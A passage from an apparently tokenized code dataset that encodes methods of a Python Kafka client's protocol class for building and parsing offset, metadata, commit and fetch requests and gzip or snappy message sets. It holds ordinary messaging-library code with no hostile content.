", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "response", ":", " ", "Fe", "tch", "Respons", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "kaf", "ka_", "._", "structs_", "._", "Fe", "tch", "Respons", "e", "Payload_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "topic_", ",_", "partition_", ",_", "error_", ",_", "high", "water", "\\u", "offset_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "kaf", "ka_", "._", "structs_", "._", "Off", "set", "And", "Message_", "(_", "offset_", ",_", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "offset_", ",_", "\\u_", ",_", "message_", "in_", "messages_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "partitions_", "in_", "response_", "._", "topics_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "error_", ",_", "high", "water", "\\u", "offset_", ",_", "messages_", "in_", "partitions_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "encode", "\\u", "offset", "\\u", "request_", "(_", "cls_", ",_", "payloads_", "=_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "kaf", "ka_", "._", "protocol_", "._", "offset_", "._", "Off", "set", "Request_", "[_", "0_", "]_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "replica", "\\u", "id_", "=_", "-_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "topics_", "=_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "partition_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "._", "time_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "._", "max", "\\u", "offsets_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "payload_", "in_", "six_", "._", "iteritems_", "(_", "topic", "\\u", "payloads_", ")_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "topic", "\\u", "payloads_", "in_", "six_", "._", "iteritems_", "(_", "group", "\\u", "by", "\\u", "topic", "\\u", "and", "\\u", "partition_", "(_", "payloads_", ")_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decode", "\\u", "offset", "\\u", "response_", "(_", "cls_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Decode", " ", "Off", "set", "Respons", "e", " ", "int", "o", " ", "Off", "set", "Respons", "e", "Pay", "load", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "response", ":", " ", "Off", "set", "Respons", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", " ", "list", " ", "of", " ", "Off", "set", "Respons", "e", "Pay", "load", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "kaf", "ka_", "._", "structs_", "._", "Off", "set", "Respons", "e", "Payload_", "(_", "topic_", ",_", "partition_", ",_", "error_", ",_", "tuple_", "(_", "offsets_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "partitions_", "in_", "response_", "._", "topics_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "error_", ",_", "offsets_", "in_", "partitions_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "encode", "\\u", "metadata", "\\u", "request_", "(_", "cls_", ",_", "topics_", "=_", "(_", ")_", ",_", "payloads_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "a", " ", "Meta", "data", "Request", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "topic", "s", ":", " ", "list", " ", "of", " ", "string", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "payloads_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "topics_", "=_", "payloads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "kaf", "ka_", "._", "protocol_", "._", "metadata_", "._", "Meta", "data", "Request_", "[_", "0_", "]_", "(_", "topics_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decode", "\\u", "metadata", "\\u", "response_", "(_", "cls_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "encode", "\\u", "consume", "r", "\\u", "metadata", "\\u", "request_", "(_", "cls_", ",_", "client", "\\u", "id_", ",_", "correlation", "\\u", "id_", ",_", "payloads_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "a", " ", "Consume", "r", "Meta", "data", "Request", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "client", "\\u", "id", ":", " ", "string", "\\", "10", ";", " ", " ", " ", " ", "correlation", "\\u", "id", ":", " ", "int", "\\", "10", ";", " ", " ", " ", " ", "payload", "s", ":", " ", "string", " ", "(", "consume", "r", " ", "group", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "._", "append_", "(_", "cls_", "._", "\\u", "encode", "\\u", "message", "\\u", "header_", "(_", "client", "\\u", "id_", ",_", "correlation", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Ka", "fk", "a", "Protocol_", "._", "CONSU", "MER", "\\u", "METAD", "ATA", "\\u", "KEY_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "._", "append_", "(_", "struct_", "._", "pack_", "(_", "'>", "h", "%", "ds", "'_", "%_", "len_", "(_", "payloads_", ")_", ",_", "len_", "(_", "payloads_", ")_", ",_", "payloads_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "b", "''_", "._", "join_", "(_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "write", "\\u", "int\\u", "string_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decode", "\\u", "consume", "r", "\\u", "metadata", "\\u", "response_", "(_", "cls_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Decode", " ", "bytes", " ", "to", " ", "a", " ", "Consume", "r", "Meta", "data", "Respons", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "data", ":", " ", "bytes", " ", "to", " ", "decode", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "(_", "correlation", "\\u", "id_", ",_", "error_", ",_", "node", "Id_", ")_", ",_", "cur_", ")_", "=_", "relative", "\\u", "unpack_", "(_", "'>", "ih", "i", "'_", ",_", "data_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "host_", ",_", "cur_", ")_", "=_", "read", "\\u", "short", "\\u", "string_", "(_", "data_", ",_", "cur_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "(_", "port_", ",_", ")_", ",_", "cur_", ")_", "=_", "relative", "\\u", "unpack_", "(_", "'>", "i", "'_", ",_", "data_", ",_", "cur_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Consume", "r", "Meta", "data", "Response_", "(_", "error_", ",_", "node", "Id_", ",_", "host_", ",_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "encode", "\\u", "offset", "\\u", "commit", "\\u", "request_", "(_", "cls_", ",_", "group_", ",_", "payloads_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "an", " ", "Off", "set", "Commi", "t", "Request", " ", "struct", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "group", ":", " ", "string", ",", " ", "the", " ", "consume", "r", " ", "group", " ", "you", " ", "are", " ", "committ", "ing", " ", "offset", "s", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "payload", "s", ":", " ", "list", " ", "of", " ", "Off", "set", "Commi", "t", "Request", "Pay", "load", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "kaf", "ka_", "._", "protocol_", "._", "commit_", "._", "Off", "set", "Commi", "t", "Request_", "[_", "0_", "]_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "group_", "=_", "group_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "topics_", "=_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "partition_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "._", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "._", "metadata_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "payload_", "in_", "six_", "._", "iteritems_", "(_", "topic", "\\u", "payloads_", ")_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "topic", "\\u", "payloads_", "in_", "six_", "._", "iteritems_", "(_", "group", "\\u", "by", "\\u", "topic", "\\u", "and", "\\u", "partition_", "(_", "payloads_", ")_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decode", "\\u", "offset", "\\u", "commit", "\\u", "response_", "(_", "cls_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Decode", " ", "Off", "set", "Commi", "t", "Respons", "e", " ", "to", " ", "an", " ", "Off", "set", "Commi", "t", "Respons", "e", "Pay", "load", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "response", ":", " ", "Off", "set", "Commi", "t", "Respons", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "kaf", "ka_", "._", "structs_", "._", "Off", "set", "Commi", "t", "Respons", "e", "Payload_", "(_", "topic_", ",_", "partition_", ",_", "error_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "partitions_", "in_", "response_", "._", "topics_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "error_", "in_", "partitions_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "encode", "\\u", "offset", "\\u", "fetch", "\\u", "request_", "(_", "cls_", ",_", "group_", ",_", "payloads_", ",_", "from", "\\u", "kaf", "ka_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Encode", " ", "an", " ", "Off", "set", "Fe", "tch", "Request", " ", "struct", ".", " ", "The", " ", "request", " ", "is", " ", "encode", "d", " ", "usi", "ng", "\\", "10", ";", " ", " ", " ", " ", "version", " ", "0", " ", "if", " ", "from", "\\u", "kaf", "ka", " ", "is", " ", "fal", "se", ",", " ", "indicati", "ng", " ", "a", " ", "request", " ", "for", " ", "Zoo", "keeper", "\\", "10", ";", " ", " ", " ", " ", "offset", "s", ".", " ", "It", " ", "is", " ", "encode", "d", " ", "usi", "ng", " ", "version", " ", "1", " ", "other", "wis", "e", ",", " ", "indicati", "ng", " ", "a", " ", "request", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "Ka", "fk", "a", " ", "offset", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "group", ":", " ", "string", ",", " ", "the", " ", "consume", "r", " ", "group", " ", "you", " ", "are", " ", "fetch", "ing", " ", "offset", "s", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "payload", "s", ":", " ", "list", " ", "of", " ", "Off", "set", "Fe", "tch", "Request", "Pay", "load", "\\", "10", ";", " ", " ", " ", " ", "from", "\\u", "kaf", "ka", ":", " ", "bool", ",", " ", "default", " ", "Fal", "se", ",", " ", "set", " ", "Tru", "e", " ", "for", " ", "Ka", "fk", "a", "-", "committ", "ed", " ", "offset", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version_", "=_", "1_", "if_", "from", "\\u", "kaf", "ka_", "else_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "kaf", "ka_", "._", "protocol_", "._", "commit_", "._", "Off", "set", "Fe", "tch", "Request_", "[_", "version_", "]_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "group_", "=_", "group_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "topics_", "=_", "[_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "list_", "(_", "topic", "\\u", "payloads_", "._", "keys_", "(_", ")_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "topic", "\\u", "payloads_", "in_", "six_", "._", "iteritems_", "(_", "group", "\\u", "by", "\\u", "topic", "\\u", "and", "\\u", "partition_", "(_", "payloads_", ")_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ka", "fk", "a", "Protocol_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decode", "\\u", "offset", "\\u", "fetch", "\\u", "response_", "(_", "cls_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Decode", " ", "Off", "set", "Fe", "tch", "Respons", "e", " ", "to", " ", "Off", "set", "Fe", "tch", "Respons", "e", "Pay", "load", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "response", ":", " ", "Off", "set", "Fe", "tch", "Respons", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "kaf", "ka_", "._", "structs_", "._", "Off", "set", "Fe", "tch", "Respons", "e", "Payload_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "topic_", ",_", "partition_", ",_", "offset_", ",_", "metadata_", ",_", "error_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "topic_", ",_", "partitions_", "in_", "response_", "._", "topics_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "partition_", ",_", "offset_", ",_", "metadata_", ",_", "error_", "in_", "partitions_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "message_", "(_", "payload_", ",_", "key_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Construct", " ", "a", " ", "Messag", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "payload", ":", " ", "bytes", ",", " ", "the", " ", "payload", " ", "to", " ", "send", " ", "to", " ", "Ka", "fk", "a", "\\", "10", ";", " ", " ", " ", " ", "key", ":", " ", "bytes", ",", " ", "a", " ", "key", " ", "used", " ", "for", " ", "partit", "ion", " ", "routin", "g", " ", "(", "option", "al", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "kaf", "ka_", "._", "structs_", "._", "Message_", "(_", "0_", ",_", "0_", ",_", "key_", ",_", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "gzip", "\\u", "message_", "(_", "payloads_", ",_", "key_", "=_", "None_", ",_", "compress", "level_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Construct", " ", "a", " ", "Gz", "ipp", "ed", " ", "Messag", "e", " ", "contain", "ing", " ", "multiple", " ", "Messag", "es", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "give", "n", " ", "payload", "s", " ", "will", " ", "be", " ", "encode", "d", ",", " ", "compress", "ed", ",", " ", "and", " ", "sent", " ", "as", " ", "a", " ", "single", " ", "atomi", "c", "\\", "10", ";", " ", " ", " ", " ", "message", " ", "to", " ", "Ka", "fk", "a", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "payload", "s", ":", " ", "list", "(", "bytes", "),", " ", "a", " ", "list", " ", "of", " ", "payload", " ", "to", " ", "send", " ", "be", " ", "sent", " ", "to", " ", "Ka", "fk", "a", "\\", "10", ";", " ", " ", " ", " ", "key", ":", " ", "bytes", ",", " ", "a", " ", "key", " ", "used", " ", "for", " ", "partit", "ion", " ", "routin", "g", " ", "(", "option", "al", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "set_", "=_", "Ka", "fk", "a", "Protocol_", "._", "\\u", "encode", "\\u", "message", "\\u", "set_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "create", "\\u", "message_", "(_", "payload_", ",_", "pl", "\\u", "key_", ")_", "for_", "payload_", ",_", "pl", "\\u", "key_", "in_", "payloads_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gzip", "ped_", "=_", "gzip", "\\u", "encode_", "(_", "message", "\\u", "set_", ",_", "compress", "level_", "=_", "compress", "level_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "codec_", "=_", "ATTRIBUTE", "\\u", "CODE", "C", "\\u", "MASK_", "&_", "CODE", "C", "\\u", "GZ", "IP_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "kaf", "ka_", "._", "structs_", "._", "Message_", "(_", "0_", ",_", "0x00_", "|_", "codec_", ",_", "key_", ",_", "gzip", "ped_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "snapp", "y", "\\u", "message_", "(_", "payloads_", ",_", "key_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Construct", " ", "a", " ", "Snap", "py", " ", "Messag", "e", " ", "contain", "ing", " ", "multiple", " ", "Messag", "es", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "give", "n", " ", "payload", "s", " ", "will", " ", "be", " ", "encode", "d", ",", " ", "compress", "ed", ",", " ", "and", " ", "sent", " ", "as", " ", "a", " ", "single", " ", "atomi", "c", "\\", "10", ";", " ", " ", " ", " ", "message", " ", "to", " ", "Ka", "fk", "a", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "payload", "s", ":", " ", "list", "(", "bytes", "),", " ", "a", " ", "list", " ", "of", " ", "payload", " ", "to", " ", "send", " ", "be", " ", "sent", " ", "to", " ", "Ka", "fk", "a", "\\", "10", ";", " ", " ", " ", " ", "key", ":", " ", "bytes", ",", " ", "a", " ", "key", " ", "used", " ", "for", " ", "partit", "ion", " ", "routin", "g", " ", "(", "option", "al", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "set_", "=_", "Ka", "fk", "a", "Protocol_", "._", "\\u", "encode", "\\u", "message", "\\u", "set_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "create", "\\u", "message_", "(_", "payload_", ",_", "pl", "\\u", "key_", ")_", "for_", "payload_", ",_", "pl", "\\u", "key_", "in_", "payloads_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "snapp", "ed_", "=_", "snapp", "y", "\\u", "encode_", "(_", "message", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "codec_", "=_", "ATTRIBUTE", "\\u", "CODE", "C", "\\u", "MASK_", "&_", "CODE", "C", "\\u", "SNAP", "PY", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "kaf", "ka_", "._", "structs_", "._", "Message_", "(_", "0_", ",_", "0x00_", "|_", "codec_", ",_", "key_", ",_", "snapp", "ed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "message", "\\u", "set_", "(_", "messages_", ",_", "codec_", "=_", "CODE", "C", "\\u", "NONE_", ",_", "key_", "=_", "None_", ",_", "compress", "level_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "message", " ", "set", " ", "usi", "ng", " ", "the", " ", "give", "n", " ", "codec", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "codec", " ", "is", " ", "CODE", "C", "\\u", "NON", "E", ",", " ", "return", " ", "a", " ", "list", " ", "of", " ", "raw", " ", "Ka", "fk", "a", " ", "message", "s", ".", " ", "Ot", "her", "wis", "e", ",", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "a", " ", "list", " ", "contain", "ing", " ", "a", " ", "single", " ", "codec", "-", "encode", "d", " ", "message", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "codec_", "==_", "CODE", "C", "\\u", "NONE_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "create", "\\u", "message_", "(_", "m_", ",_", "k_", ")_", "for_", "m_", ",_", "k_", "in_", "messages_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "codec_", "==_", "CODE", "C", "\\u", "GZ", "IP_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "create", "\\u", "gzip", "\\u", "message_", "(_", "messages_", ",_", "key_", ",_", "compress", "level_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "codec_", "==_", "CODE", "C", "\\u", "SNAP", "PY", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "create", "\\u", "snapp", "y", "\\u", "message_", "(_", "messages_", ",_", "key_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Unsu", "ppo", "rted", "Code", "c", "Error_", "(_", "\"", "Code", "c", " ", "0", "x", "%", "02", "x", " ", "unsup", "porte", "d", "\"_", "%_", "codec_", ")_" ]
